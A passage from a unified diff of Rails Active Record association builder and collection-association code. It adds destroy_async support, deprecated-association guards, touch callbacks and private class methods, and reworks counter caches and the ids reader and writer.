     def self.define_readers(mixin, name)
       mixin.class_eval <<-CODE, __FILE__, __LINE__ + 1
-        def #{name}(*args)
-          association(:#{name}).reader(*args)
+        def #{name}
+          association = association(:#{name})
+          deprecated_associations_api_guard(association, __method__)
+          association.reader
         end
       CODE
     end
@@ -116,7 +112,9 @@ def #{name}(*args)
     def self.define_writers(mixin, name)
       mixin.class_eval <<-CODE, __FILE__, __LINE__ + 1
         def #{name}=(value)
-          association(:#{name}).writer(value)
+          association = association(:#{name})
+          deprecated_associations_api_guard(association, __method__)
+          association.writer(value)
         end
       CODE
     end
@@ -125,19 +123,59 @@ def self.define_validations(model, reflection)
       # noop
     end
 
+    def self.define_change_tracking_methods(model, reflection)
+      # noop
+    end
+
     def self.valid_dependent_options
       raise NotImplementedError
     end
 
-    def self.check_dependent_options(dependent)
-      unless valid_dependent_options.include? dependent
+    def self.check_dependent_options(dependent, model)
+      if dependent == :destroy_async && !model.destroy_association_async_job
+        err_message = "A valid destroy_association_async_job is required to use `dependent: :destroy_async` on associations"
+        raise ActiveRecord::ConfigurationError, err_message
+      end
+      unless valid_dependent_options.include?(dependent)
         raise ArgumentError, "The :dependent option must be one of #{valid_dependent_options}, but is :#{dependent}"
       end
     end
 
     def self.add_destroy_callbacks(model, reflection)
-      name = reflection.name
-      model.before_destroy lambda { |o| o.association(name).handle_dependency }
+      if reflection.deprecated?
+        # If :dependent is set, destroying the record has a side effect that
+        # would no longer happen if the association is removed.
+        model.before_destroy do
+          report_deprecated_association(reflection, context: ":dependent has a side effect here")
+        end
+      end
+
+      model.before_destroy(->(o) { o.association(reflection.name).handle_dependency })
     end
+
+    def self.add_after_commit_jobs_callback(model, dependent)
+      if dependent == :destroy_async
+        mixin = model.generated_association_methods
+
+        unless mixin.method_defined?(:_after_commit_jobs)
+          model.after_commit(-> do
+            _after_commit_jobs.each do |job_class, job_arguments|
+              job_class.perform_later(**job_arguments)
+            end
+          end)
+
+          mixin.class_eval <<-CODE, __FILE__, __LINE__ + 1
+            def _after_commit_jobs
+              @_after_commit_jobs ||= []
+            end
+          CODE
+        end
+      end
+    end
+
+    private_class_method :build_scope, :macro, :valid_options, :validate_options, :define_extensions,
+      :define_callbacks, :define_accessors, :define_readers, :define_writers, :define_validations,
+      :define_change_tracking_methods, :valid_dependent_options, :check_dependent_options,
+      :add_destroy_callbacks, :add_after_commit_jobs_callback
   end
 end
diff --git a/activerecord/lib/active_record/associations/builder/belongs_to.rb b/activerecord/lib/active_record/associations/builder/belongs_to.rb
index a1609ab0fbd74..ce537a818241c 100644
--- a/activerecord/lib/active_record/associations/builder/belongs_to.rb
+++ b/activerecord/lib/active_record/associations/builder/belongs_to.rb
@@ -1,76 +1,48 @@
+# frozen_string_literal: true
+
 module ActiveRecord::Associations::Builder # :nodoc:
-  class BelongsTo < SingularAssociation #:nodoc:
+  class BelongsTo < SingularAssociation # :nodoc:
     def self.macro
       :belongs_to
     end
 
     def self.valid_options(options)
-      super + [:polymorphic, :touch, :counter_cache, :optional]
+      valid = super + [:polymorphic, :counter_cache, :optional, :default]
+      valid << :class_name unless options[:polymorphic]
+      valid << :foreign_type if options[:polymorphic]
+      valid << :ensuring_owner_was if options[:dependent] == :destroy_async
+      valid
     end
 
     def self.valid_dependent_options
-      [:destroy, :delete]
+      [:destroy, :delete, :destroy_async]
     end
 
     def self.define_callbacks(model, reflection)
       super
       add_counter_cache_callbacks(model, reflection) if reflection.options[:counter_cache]
       add_touch_callbacks(model, reflection)         if reflection.options[:touch]
-    end
-
-    def self.define_accessors(mixin, reflection)
-      super
-      add_counter_cache_methods mixin
-    end
-
-    def self.add_counter_cache_methods(mixin)
-      return if mixin.method_defined? :belongs_to_counter_cache_after_update
-
-      mixin.class_eval do
-        def belongs_to_counter_cache_after_update(reflection)
-          foreign_key  = reflection.foreign_key
-          cache_column = reflection.counter_cache_column
-
-          if (@_after_create_counter_called ||= false)
-            @_after_create_counter_called = false
-          elsif (@_after_replace_counter_called ||= false)
-            @_after_replace_counter_called = false
-          elsif saved_change_to_attribute?(foreign_key) && !new_record?
-            if reflection.polymorphic?
-              model     = attribute_in_database(reflection.foreign_type).try(:constantize)
-              model_was = attribute_before_last_save(reflection.foreign_type).try(:constantize)
-            else
-              model     = reflection.klass
-              model_was = reflection.klass
-            end
-
-            foreign_key_was = attribute_before_last_save foreign_key
-            foreign_key     = attribute_in_database foreign_key
-
-            if foreign_key && model.respond_to?(:increment_counter)
-              model.increment_counter(cache_column, foreign_key)
-            end
-
-            if foreign_key_was && model_was.respond_to?(:decrement_counter)
-              model_was.decrement_counter(cache_column, foreign_key_was)
-            end
-          end
-        end
-      end
+      add_default_callbacks(model, reflection)       if reflection.options[:default]
     end
 
     def self.add_counter_cache_callbacks(model, reflection)
       cache_column = reflection.counter_cache_column
 
       model.after_update lambda { |record|
-        record.belongs_to_counter_cache_after_update(reflection)
+        association = association(reflection.name)
+
+        if association.saved_change_to_target?
+          association.increment_counters
+          association.decrement_counters_before_last_save
+        end
       }
 
       klass = reflection.class_name.safe_constantize
-      klass.attr_readonly cache_column if klass && klass.respond_to?(:attr_readonly)
+      klass._counter_cache_columns |= [cache_column] if klass && klass.respond_to?(:_counter_cache_columns)
+      model.counter_cached_association_names |= [reflection.name]
     end
 
-    def self.touch_record(o, changes, foreign_key, name, touch, touch_method) # :nodoc:
+    def self.touch_record(o, changes, foreign_key, name, touch) # :nodoc:
       old_foreign_id = changes[foreign_key] && changes[foreign_key].first
 
       if old_foreign_id
@@ -79,46 +51,71 @@ def self.touch_record(o, changes, foreign_key, name, touch, touch_method) # :nod
         if reflection.polymorphic?
           foreign_type = reflection.foreign_type
           klass = changes[foreign_type] && changes[foreign_type].first || o.public_send(foreign_type)
-          klass = klass.constantize
+          klass = o.class.polymorphic_class_for(klass)
         else
           klass = association.klass
         end
-        old_record = klass.find_by(klass.primary_key => old_foreign_id)
+        primary_key = reflection.association_primary_key(klass)
+        old_record = klass.find_by(primary_key => old_foreign_id)
 
         if old_record
           if touch != true
-            old_record.send(touch_method, touch)
+            old_record.touch_later(touch)
           else
-            old_record.send(touch_method)
+            old_record.touch_later
           end
         end
       end
 
-      record = o.send name
+      record = o.public_send name
       if record && record.persisted?
         if touch != true
-          record.send(touch_method, touch)
+          record.touch_later(touch)
         else
-          record.send(touch_method)
+          record.touch_later
         end
       end
     end
 
     def self.add_touch_callbacks(model, reflection)
       foreign_key = reflection.foreign_key
-      n           = reflection.name
+      name        = reflection.name
       touch       = reflection.options[:touch]
 
       callback = lambda { |changes_method| lambda { |record|
-        BelongsTo.touch_record(record, record.send(changes_method), foreign_key, n, touch, belongs_to_touch_method)
+        BelongsTo.touch_record(record, record.send(changes_method), foreign_key, name, touch)
       }}
 
-      model.after_save    callback.(:saved_changes), if: :saved_changes?
-      model.after_touch   callback.(:changes_to_save)
-      model.after_destroy callback.(:changes_to_save)
+      if reflection.counter_cache_column
+        touch_callback = callback.(:saved_changes)
+        update_callback = lambda { |record|
+          instance_exec(record, &touch_callback) unless association(reflection.name).saved_change_to_target?
+        }
+        model.after_update update_callback, if: :saved_changes?
+      else
+        model.after_create callback.(:saved_changes), if: :saved_changes?
+        model.after_update callback.(:saved_changes), if: :saved_changes?
+        model.after_destroy callback.(:changes_to_save)
+      end
+
+      model.after_touch callback.(:changes_to_save)
+    end
+
+    def self.add_default_callbacks(model, reflection)
+      model.before_validation lambda { |o|
+        o.association(reflection.name).default(&reflection.options[:default])
+      }
     end
 
     def self.add_destroy_callbacks(model, reflection)
+      if reflection.deprecated?
+        # If :dependent is set, destroying the record has some side effect that
+        # would no longer happen if the association is removed.
+        model.before_destroy do
+          report_deprecated_association(reflection, context: ":dependent has a side effect here")
+        end
+      end
+
       model.after_destroy lambda { |o| o.association(reflection.name).handle_dependency }
     end
 
@@ -136,8 +133,41 @@ def self.define_validations(model, reflection)
       super
 
       if required
-        model.validates_presence_of reflection.name, message: :required
+        if ActiveRecord.belongs_to_required_validates_foreign_key
+          model.validates_presence_of reflection.name, message: :required
+        else
+          condition = lambda { |record|
+            foreign_key = reflection.foreign_key
+            foreign_type = reflection.foreign_type
+
+            record.read_attribute(foreign_key).nil? ||
+              record.attribute_changed?(foreign_key) ||
+              (reflection.polymorphic? && (record.read_attribute(foreign_type).nil? || record.attribute_changed?(foreign_type)))
+          }
+
+          model.validates_presence_of reflection.name, message: :required, if: condition
+        end
       end
     end
+
+    def self.define_change_tracking_methods(model, reflection)
+      model.generated_association_methods.class_eval <<-CODE, __FILE__, __LINE__ + 1
+        def #{reflection.name}_changed?
+          association = association(:#{reflection.name})
+          deprecated_associations_api_guard(association, __method__)
+          association.target_changed?
+        end
+
+        def #{reflection.name}_previously_changed?
+          association = association(:#{reflection.name})
+          deprecated_associations_api_guard(association, __method__)
+          association.target_previously_changed?
+        end
+      CODE
+    end
+
+    private_class_method :macro, :valid_options, :valid_dependent_options, :define_callbacks,
+      :define_validations, :define_change_tracking_methods, :add_counter_cache_callbacks,
+      :add_touch_callbacks, :add_default_callbacks, :add_destroy_callbacks
   end
 end
diff --git a/activerecord/lib/active_record/associations/builder/collection_association.rb b/activerecord/lib/active_record/associations/builder/collection_association.rb
index edeb6491bd886..a1a248600266d 100644
--- a/activerecord/lib/active_record/associations/builder/collection_association.rb
+++ b/activerecord/lib/active_record/associations/builder/collection_association.rb
@@ -1,14 +1,13 @@
-# This class is inherited by the has_many and has_many_and_belongs_to_many association classes
+# frozen_string_literal: true
 
 require "active_record/associations"
 
 module ActiveRecord::Associations::Builder # :nodoc:
-  class CollectionAssociation < Association #:nodoc:
+  class CollectionAssociation < Association # :nodoc:
     CALLBACKS = [:before_add, :after_add, :before_remove, :after_remove]
 
     def self.valid_options(options)
-      super + [:table_name, :before_add,
-               :after_add, :before_remove, :after_remove, :extend]
+      super + [:class_name, :before_add, :after_add, :before_remove, :after_remove, :extend]
     end
 
     def self.define_callbacks(model, reflection)
@@ -20,20 +19,29 @@ def self.define_callbacks(model, reflection)
       }
     end
 
-    def self.define_extensions(model, name)
+    def self.define_extensions(model, name, &block)
       if block_given?
-        extension_module_name = "#{model.name.demodulize}#{name.to_s.camelize}AssociationExtension"
-        extension = Module.new(&Proc.new)
-        model.parent.const_set(extension_module_name, extension)
+        extension_module_name = "#{name.to_s.camelize}AssociationExtension"
+        extension = Module.new(&block)
+        model.const_set(extension_module_name, extension)
       end
     end
 
     def self.define_callback(model, callback_name, name, options)
       full_callback_name = "#{callback_name}_for_#{name}"
 
-      # TODO : why do i need method_defined? I think its because of the inheritance chain
-      model.class_attribute full_callback_name unless model.method_defined?(full_callback_name)
-      callbacks = Array(options[callback_name.to_sym]).map do |callback|
+      callback_values = Array(options[callback_name.to_sym])
+      method_defined = model.respond_to?(full_callback_name)
+
+      # If there are no callbacks, we must also check if a superclass had
+      # previously defined this association
+      return if callback_values.empty? && !method_defined
+
+      unless method_defined
+        model.class_attribute(full_callback_name, instance_accessor: false, instance_predicate: false)
+      end
+
+      callbacks = callback_values.map do |callback|
         case callback
         when Symbol
           ->(method, owner, record) { owner.send(callback, record) }
@@ -52,7 +60,9 @@ def self.define_readers(mixin, name)
 
       mixin.class_eval <<-CODE, __FILE__, __LINE__ + 1
         def #{name.to_s.singularize}_ids
-          association(:#{name}).ids_reader
+          association = association(:#{name})
+          deprecated_associations_api_guard(association, __method__)
+          association.ids_reader
         end
       CODE
     end
@@ -62,21 +72,13 @@ def self.define_writers(mixin, name)
 
       mixin.class_eval <<-CODE, __FILE__, __LINE__ + 1
         def #{name.to_s.singularize}_ids=(ids)
-          association(:#{name}).ids_writer(ids)
+          association = association(:#{name})
+          deprecated_associations_api_guard(association, __method__)
+          association.ids_writer(ids)
         end
       CODE
     end
 
-    def self.wrap_scope(scope, mod)
-      if scope
-        if scope.arity > 0
-          proc { |owner| instance_exec(owner, &scope).extending(mod) }
-        else
-          proc { instance_exec(&scope).extending(mod) }
-        end
-      else
-        proc { extending(mod) }
-      end
-    end
+    private_class_method :valid_options, :define_callback, :define_extensions, :define_readers, :define_writers
   end
 end
diff --git a/activerecord/lib/active_record/associations/builder/has_and_belongs_to_many.rb b/activerecord/lib/active_record/associations/builder/has_and_belongs_to_many.rb
index 6b71826431fe6..c08fa48f8cc3a 100644
--- a/activerecord/lib/active_record/associations/builder/has_and_belongs_to_many.rb
+++ b/activerecord/lib/active_record/associations/builder/has_and_belongs_to_many.rb
@@ -1,38 +1,7 @@
+# frozen_string_literal: true
+
 module ActiveRecord::Associations::Builder # :nodoc:
   class HasAndBelongsToMany # :nodoc:
-    class JoinTableResolver # :nodoc:
-      KnownTable = Struct.new :join_table
-
-      class KnownClass # :nodoc:
-        def initialize(lhs_class, rhs_class_name)
-          @lhs_class      = lhs_class
-          @rhs_class_name = rhs_class_name
-          @join_table     = nil
-        end
-
-        def join_table
-          @join_table ||= [@lhs_class.table_name, klass.table_name].sort.join("\0").gsub(/^(.*[._])(.+)\0\1(.+)/, '\1\2_\3').tr("\0", "_")
-        end
-
-        private
-
-          def klass
-            @lhs_class.send(:compute_type, @rhs_class_name)
-          end
-      end
-
-      def self.build(lhs_class, name, options)
-        if options[:join_table]
-          KnownTable.new options[:join_table].to_s
-        else
-          class_name = options.fetch(:class_name) {
-            name.to_s.camelize.singularize
-          }
-          KnownClass.new lhs_class, class_name.to_s
-        end
-      end
-    end
-
     attr_reader :lhs_model, :association_name, :options
 
     def initialize(association_name, lhs_model, options)
@@ -42,10 +11,8 @@ def initialize(association_name, lhs_model, options)
     end
 
     def through_model
-      habtm = JoinTableResolver.build lhs_model, association_name, options
-
       join_model = Class.new(ActiveRecord::Base) {
-        class << self;
+        class << self
           attr_accessor :left_model
           attr_accessor :name
           attr_accessor :table_name_resolver
@@ -53,8 +20,11 @@ class << self;
           attr_accessor :right_reflection
         end
 
+        @table_name = nil
         def self.table_name
-          table_name_resolver.join_table
+          # Table name needs to be resolved lazily
+          # because RHS class might not have been loaded
+          @table_name ||= table_name_resolver.call
         end
 
         def self.compute_type(class_name)
@@ -72,19 +42,13 @@ def self.add_right_association(name, options)
           self.right_reflection = _reflect_on_association(rhs_name)
         end
 
-        def self.retrieve_connection
-          left_model.retrieve_connection
+        def self.connection_pool
+          left_model.connection_pool
         end
-
-        private
-
-          def self.suppress_composite_primary_key(pk)
-            pk unless pk.is_a?(Array)
-          end
       }
 
       join_model.name                = "HABTM_#{association_name.to_s.camelize}"
-      join_model.table_name_resolver = habtm
+      join_model.table_name_resolver = -> { table_name }
       join_model.left_model          = lhs_model
 
       join_model.add_left_association :left_side, anonymous_class: lhs_model
@@ -94,7 +58,7 @@ def self.suppress_composite_primary_key(pk)
 
     def middle_reflection(join_model)
       middle_name = [lhs_model.name.downcase.pluralize,
-                     association_name].join("_".freeze).gsub("::".freeze, "_".freeze).to_sym
+                     association_name.to_s].sort.join("_").gsub("::", "_").to_sym
       middle_options = middle_options join_model
 
       HasMany.create_reflection(lhs_model,
@@ -104,17 +68,27 @@ def middle_reflection(join_model)
     end
 
     private
-
       def middle_options(join_model)
         middle_options = {}
         middle_options[:class_name] = "#{lhs_model.name}::#{join_model.name}"
-        middle_options[:source] = join_model.left_reflection.name
         if options.key? :foreign_key
           middle_options[:foreign_key] = options[:foreign_key]
         end
         middle_options
       end
 
+      def table_name
+        if options[:join_table]
+          options[:join_table].to_s
+        else
+          class_name = options.fetch(:class_name) {
+            association_name.to_s.camelize.singularize
+          }
+          klass = lhs_model.send(:compute_type, class_name.to_s)
+          [lhs_model.table_name, klass.table_name].sort.join("\0").gsub(/^(.*[._])(.+)\0\1(.+)/, '\1\2_\3').tr("\0", "_")
+        end
+      end
+
       def belongs_to_options(options)
         rhs_options = {}
 
diff --git a/activerecord/lib/active_record/associations/builder/has_many.rb b/activerecord/lib/active_record/associations/builder/has_many.rb
index 7864d4c536bd3..dfc3da0f10370 100644
--- a/activerecord/lib/active_record/associations/builder/has_many.rb
+++ b/activerecord/lib/active_record/associations/builder/has_many.rb
@@ -1,15 +1,23 @@
+# frozen_string_literal: true
+
 module ActiveRecord::Associations::Builder # :nodoc:
-  class HasMany < CollectionAssociation #:nodoc:
+  class HasMany < CollectionAssociation # :nodoc:
     def self.macro
       :has_many
     end
 
     def self.valid_options(options)
-      super + [:primary_key, :dependent, :as, :through, :source, :source_type, :inverse_of, :counter_cache, :join_table, :foreign_type, :index_errors]
+      valid = super + [:counter_cache, :join_table, :index_errors, :as, :through]
+      valid += [:foreign_type] if options[:as]
+      valid += [:source, :source_type, :disable_joins] if options[:through]
+      valid += [:ensuring_owner_was] if options[:dependent] == :destroy_async
+      valid
     end
 
     def self.valid_dependent_options
-      [:destroy, :delete_all, :nullify, :restrict_with_error, :restrict_with_exception]
+      [:destroy, :delete_all, :nullify, :restrict_with_error, :restrict_with_exception, :destroy_async]
     end
+
+    private_class_method :macro, :valid_options, :valid_dependent_options
   end
 end
diff --git a/activerecord/lib/active_record/associations/builder/has_one.rb b/activerecord/lib/active_record/associations/builder/has_one.rb
index 4de846d12b952..cf0bcbf1cc6b7 100644
--- a/activerecord/lib/active_record/associations/builder/has_one.rb
+++ b/activerecord/lib/active_record/associations/builder/has_one.rb
@@ -1,17 +1,26 @@
+# frozen_string_literal: true
+
 module ActiveRecord::Associations::Builder # :nodoc:
-  class HasOne < SingularAssociation #:nodoc:
+  class HasOne < SingularAssociation # :nodoc:
     def self.macro
       :has_one
     end
 
     def self.valid_options(options)
-      valid = super + [:as]
-      valid += [:through, :source, :source_type] if options[:through]
+      valid = super + [:class_name, :as, :through]
+      valid += [:foreign_type] if options[:as]
+      valid += [:ensuring_owner_was] if options[:dependent] == :destroy_async
+      valid += [:source, :source_type, :disable_joins] if options[:through]
       valid
     end
 
     def self.valid_dependent_options
-      [:destroy, :delete, :nullify, :restrict_with_error, :restrict_with_exception]
+      [:destroy, :destroy_async, :delete, :nullify, :restrict_with_error, :restrict_with_exception]
+    end
+
+    def self.define_callbacks(model, reflection)
+      super
+      add_touch_callbacks(model, reflection) if reflection.options[:touch]
     end
 
     def self.add_destroy_callbacks(model, reflection)
@@ -24,5 +33,29 @@ def self.define_validations(model, reflection)
         model.validates_presence_of reflection.name, message: :required
       end
     end
+
+    def self.touch_record(record, name, touch)
+      instance = record.send(name)
+
+      if instance&.persisted?
+        touch != true ?
+          instance.touch(touch) : instance.touch
+      end
+    end
+
+    def self.add_touch_callbacks(model, reflection)
+      name  = reflection.name
+      touch = reflection.options[:touch]
+
+      callback = -> (record) { HasOne.touch_record(record, name, touch) }
+      model.after_create callback, if: :saved_changes?
+      model.after_create_commit { association(name).reset_negative_cache }
+      model.after_update callback, if: :saved_changes?
+      model.after_destroy callback
+      model.after_touch callback
+    end
+
+    private_class_method :macro, :valid_options, :valid_dependent_options, :add_destroy_callbacks,
+      :define_callbacks, :define_validations, :add_touch_callbacks
   end
 end
diff --git a/activerecord/lib/active_record/associations/builder/singular_association.rb b/activerecord/lib/active_record/associations/builder/singular_association.rb
index 7732b63af69fc..e28cc2e5eb24d 100644
--- a/activerecord/lib/active_record/associations/builder/singular_association.rb
+++ b/activerecord/lib/active_record/associations/builder/singular_association.rb
@@ -1,9 +1,11 @@
+# frozen_string_literal: true
+
 # This class is inherited by the has_one and belongs_to association classes
 
 module ActiveRecord::Associations::Builder # :nodoc:
-  class SingularAssociation < Association #:nodoc:
+  class SingularAssociation < Association # :nodoc:
     def self.valid_options(options)
-      super + [:foreign_type, :dependent, :primary_key, :inverse_of, :required]
+      super + [:required, :touch]
     end
 
     def self.define_accessors(model, reflection)
@@ -11,11 +13,19 @@ def self.define_accessors(model, reflection)
       mixin = model.generated_association_methods
       name = reflection.name
 
-      define_constructors(mixin, name) if reflection.constructable?
+      define_constructors(mixin, name) unless reflection.polymorphic?
 
       mixin.class_eval <<-CODE, __FILE__, __LINE__ + 1
         def reload_#{name}
-          association(:#{name}).force_reload_reader
+          association = association(:#{name})
+          deprecated_associations_api_guard(association, __method__)
+          association.force_reload_reader
+        end
+
+        def reset_#{name}
+          association = association(:#{name})
+          deprecated_associations_api_guard(association, __method__)
+          association.reset
         end
       CODE
     end
@@ -24,17 +34,43 @@ def reload_#{name}
     def self.define_constructors(mixin, name)
       mixin.class_eval <<-CODE, __FILE__, __LINE__ + 1
         def build_#{name}(*args, &block)
-          association(:#{name}).build(*args, &block)
+          association = association(:#{name})
+          deprecated_associations_api_guard(association, __method__)
+          association.build(*args, &block)
         end
 
         def create_#{name}(*args, &block)
-          association(:#{name}).create(*args, &block)
+          association = association(:#{name})
+          deprecated_associations_api_guard(association, __method__)
+          association.create(*args, &block)
         end
 
         def create_#{name}!(*args, &block)
-          association(:#{name}).create!(*args, &block)
+          association = association(:#{name})
+          deprecated_associations_api_guard(association, __method__)
+          association.create!(*args, &block)
         end
       CODE
     end
+
+    def self.define_callbacks(model, reflection)
+      super
+
+      # If the record is saved or destroyed and `:touch` is set, the parent
+      # record gets a timestamp updated. We want to know about it, because
+      # deleting the association would change that side-effect and perhaps there
+      # is code relying on it.
+      if reflection.deprecated? && reflection.options[:touch]
+        model.before_save do
+          report_deprecated_association(reflection, context: ":touch has a side effect here")
+        end
+
+        model.before_destroy do
+          report_deprecated_association(reflection, context: ":touch has a side effect here")
+        end
+      end
+    end
+
+    private_class_method :valid_options, :define_accessors, :define_constructors
   end
 end
diff --git a/activerecord/lib/active_record/associations/collection_association.rb b/activerecord/lib/active_record/associations/collection_association.rb
index 0437a79b841a9..ecbc0d3e58cad 100644
--- a/activerecord/lib/active_record/associations/collection_association.rb
+++ b/activerecord/lib/active_record/associations/collection_association.rb
@@ -1,3 +1,7 @@
+# frozen_string_literal: true
+
+require "active_support/core_ext/enumerable"
+
 module ActiveRecord
   module Associations
     # = Active Record Association Collection
@@ -12,7 +16,7 @@ module Associations
     #
     # The CollectionAssociation class provides common methods to the collections
     # defined by +has_and_belongs_to_many+, +has_many+ or +has_many+ with
-    # the +:through association+ option.
+    # the <tt>:through association</tt> option.
     #
     # You need to be careful with assumptions regarding the target: The proxy
     # does not fetch records from the database until it needs them, but new
@@ -23,20 +27,19 @@ module Associations
     #
     # If you need to work on all current children, new and existing records,
     # +load_target+ and the +loaded+ flag are your friends.
-    class CollectionAssociation < Association #:nodoc:
+    class CollectionAssociation < Association # :nodoc:
+      attr_accessor :nested_attributes_target
+
       # Implements the reader method, e.g. foo.items for Foo.has_many :items
       def reader
+        ensure_klass_exists!
+
         if stale_target?
           reload
         end
 
-        if null_scope?
-          # Cache the proxy separately before the owner has an id
-          # or else a post-save proxy will still lack the id
-          @null_proxy ||= CollectionProxy.create(klass, self)
-        else
-          @proxy ||= CollectionProxy.create(klass, self)
-        end
+        @proxy ||= CollectionProxy.create(klass, self)
+        @proxy.reset_scope
       end
 
       # Implements the writer method, e.g. foo.items= for Foo.has_many :items
@@ -47,25 +50,35 @@ def writer(records)
       # Implements the ids reader method, e.g. foo.item_ids for Foo.has_many :items
       def ids_reader
         if loaded?
-          target.pluck(reflection.association_primary_key)
+          target.pluck(*reflection.association_primary_key)
+        elsif !target.empty?
+          load_target.pluck(*reflection.association_primary_key)
         else
-          @association_ids ||= (
-            column = "#{reflection.quoted_table_name}.#{reflection.association_primary_key}"
-            scope.pluck(column)
-          )
+          @association_ids ||= scope.pluck(*reflection.association_primary_key)
         end
       end
 
       # Implements the ids writer method, e.g. foo.item_ids= for Foo.has_many :items
       def ids_writer(ids)
-        pk_type = reflection.association_primary_key_type
-        ids = Array(ids).reject(&:blank?)
-        ids.map! { |i| pk_type.cast(i) }
-        records = klass.where(reflection.association_primary_key => ids).index_by do |r|
-          r.send(reflection.association_primary_key)
+        primary_key = reflection.association_primary_key
+        pk_type = klass.type_for_attribute(primary_key)
+        ids = Array(ids).compact_blank
+        ids.map! { |id| pk_type.cast(id) }
+
+        records = if klass.composite_primary_key?
+          klass.where(primary_key => ids).index_by do |record|
+            primary_key.map { |primary_key| record._read_attribute(primary_key) }
+          end
+        else
+          klass.where(primary_key => ids).index_by do |record|
+            record._read_attribute(primary_key)
+          end
         end.values_at(*ids).compact
+
         if records.size != ids.size
-          klass.all.raise_record_not_found_exception!(ids, records.size, ids.size, reflection.association_primary_key)
+          found_ids = records.map { |record| record._read_attribute(primary_key) }
+          not_found_ids = ids - found_ids
+          klass.all.raise_record_not_found_exception!(ids, records.size, ids.size, primary_key, not_found_ids)
         else
           replace(records)
         end
@@ -74,67 +87,53 @@ def ids_writer(ids)
       def reset
         super
         @target = []
+        @replaced_or_added_targets = Set.new.compare_by_identity
+        @association_ids = nil
       end
 
       def find(*args)
-        if block_given?
-          load_target.find(*args) { |*block_args| yield(*block_args) }
-        else
-          if options[:inverse_of] && loaded?
-            args_flatten = args.flatten
-            raise RecordNotFound, "Couldn't find #{scope.klass.name} without an ID" if args_flatten.blank?
-            result = find_by_scan(*args)
-
-            result_size = Array(result).size
-            if !result || result_size != args_flatten.size
-              scope.raise_record_not_found_exception!(args_flatten, result_size, args_flatten.size)
-            else
-              result
-            end
+        if options[:inverse_of] && loaded?
+          args_flatten = args.flatten
+          model = scope.model
+
+          if args_flatten.blank?
+            error_message = "Couldn't find #{model.name} without an ID"
+            raise RecordNotFound.new(error_message, model.name, model.primary_key, args)
+          end
+
+          result = find_by_scan(*args)
+
+          result_size = Array(result).size
+          if !result || result_size != args_flatten.size
+            scope.raise_record_not_found_exception!(args_flatten, result_size, args_flatten.size)
           else
-            scope.find(*args)
+            result
           end
+        else
+          scope.find(*args)
         end
       end
 
-      def build(attributes = {}, &block)
+      def build(attributes = nil, &block)
         if attributes.is_a?(Array)
           attributes.collect { |attr| build(attr, &block) }
         else
-          add_to_target(build_record(attributes)) do |record|
-            yield(record) if block_given?
-          end
+          add_to_target(build_record(attributes, &block), replace: true)
         end
       end
 
-      # Add +records+ to this association. Returns +self+ so method calls may
-      # be chained. Since << flattens its argument list and inserts each record,
-      # +push+ and +concat+ behave identically.
+      # Add +records+ to this association. Since +<<+ flattens its argument list
+      # and inserts each record, +push+ and +concat+ behave identically.
       def concat(*records)
         records = records.flatten
         if owner.new_record?
-          load_target
+          skip_strict_loading { load_target }
           concat_records(records)
         else
           transaction { concat_records(records) }
         end
       end
 
-      # Starts a transaction in the association class's database connection.
-      #
-      #   class Author < ActiveRecord::Base
-      #     has_many :books
-      #   end
-      #
-      #   Author.first.books.transaction do
-      #     # same effect as calling Book.transaction
-      #   end
-      def transaction(*args)
-        reflection.klass.transaction(*args) do
-          yield
-        end
-      end
-
       # Removes all records from the association without calling callbacks
       # on the associated records. It honors the +:dependent+ option. However
       # if the +:dependent+ value is +:destroy+ then in that case the +:delete_all+
@@ -185,19 +184,15 @@ def destroy_all
       # are actually removed from the database, that depends precisely on
       # +delete_records+. They are in any case removed from the collection.
       def delete(*records)
-        return if records.empty?
-        records = find(records) if records.any? { |record| record.kind_of?(Integer) || record.kind_of?(String) }
         delete_or_destroy(records, options[:dependent])
       end
 
       # Deletes the +records+ and removes them from this association calling
-      # +before_remove+ , +after_remove+ , +before_destroy+ and +after_destroy+ callbacks.
+      # +before_remove+, +after_remove+, +before_destroy+ and +after_destroy+ callbacks.
       #
       # Note that this method removes records from the database ignoring the
       # +:dependent+ option.
       def destroy(*records)
-        return if records.empty?
-        records = find(records) if records.any? { |record| record.kind_of?(Integer) || record.kind_of?(String) }
         delete_or_destroy(records, :destroy)
       end
 
@@ -214,9 +209,11 @@ def destroy(*records)
       def size
         if !find_target? || loaded?
           target.size
+        elsif @association_ids
+          @association_ids.size
         elsif !association_scope.group_values.empty?
           load_target.size
-        elsif !association_scope.distinct_value && target.is_a?(Array)
+        elsif !association_scope.distinct_value && !target.empty?
           unsaved_records = target.select(&:new_record?)
           unsaved_records.size + count_records
         else
@@ -229,14 +226,14 @@ def size
       # If the collection has been loaded
       # it is equivalent to <tt>collection.size.zero?</tt>. If the
       # collection has not been loaded, it is equivalent to
-      # <tt>collection.exists?</tt>. If the collection has not already been
+      # <tt>!collection.exists?</tt>. If the collection has not already been
       # loaded and you are going to fetch the records anyway it is better to
       # check <tt>collection.length.zero?</tt>.
       def empty?
-        if loaded?
+        if loaded? || @association_ids || reflection.has_active_cached_counter?
           size.zero?
         else
-          @target.blank? && !scope.exists?
+          target.empty? && !scope.exists?
         end
       end
 
@@ -244,7 +241,7 @@ def empty?
       # and delete/add only records that have changed.
       def replace(other_array)
         other_array.each { |val| raise_on_type_mismatch!(val) }
-        original_target = load_target.dup
+        original_target = skip_strict_loading { load_target }.dup
 
         if owner.new_record?
           replace_records(other_array, original_target)
@@ -259,14 +256,16 @@ def replace(other_array)
       end
 
       def include?(record)
-        if record.is_a?(reflection.klass)
-          if record.new_record?
-            include_in_memory?(record)
-          else
-            loaded? ? target.include?(record) : scope.exists?(record.id)
-          end
+        klass = reflection.klass
+        return false unless record.is_a?(klass)
+
+        if loaded?
+          target.include?(record)
+        elsif record.new_record?
+          include_in_memory?(record)
         else
-          false
+          record_id = klass.composite_primary_key? ? klass.primary_key.zip(record.id).to_h : record.id
+          scope.exists?(record_id)
         end
       end
 
@@ -279,45 +278,26 @@ def load_target
         target
       end
 
-      def add_to_target(record, skip_callbacks = false, &block)
-        if association_scope.distinct_value
-          index = @target.index(record)
-        end
-        replace_on_target(record, index, skip_callbacks, &block)
+      def add_to_target(record, skip_callbacks: false, replace: false, &block)
+        replace_on_target(record, skip_callbacks, replace: replace || association_scope.distinct_value, &block)
       end
 
-      def replace_on_target(record, index, skip_callbacks)
-        callback(:before_add, record) unless skip_callbacks
-
-        begin
-          if index
-            record_was = target[index]
-            target[index] = record
-          else
-            target << record
-          end
+      def target=(record)
+        return super unless reflection.klass.has_many_inversing
 
-          set_inverse_instance(record)
-
-          yield(record) if block_given?
-        rescue
-          if index
-            target[index] = record_was
-          else
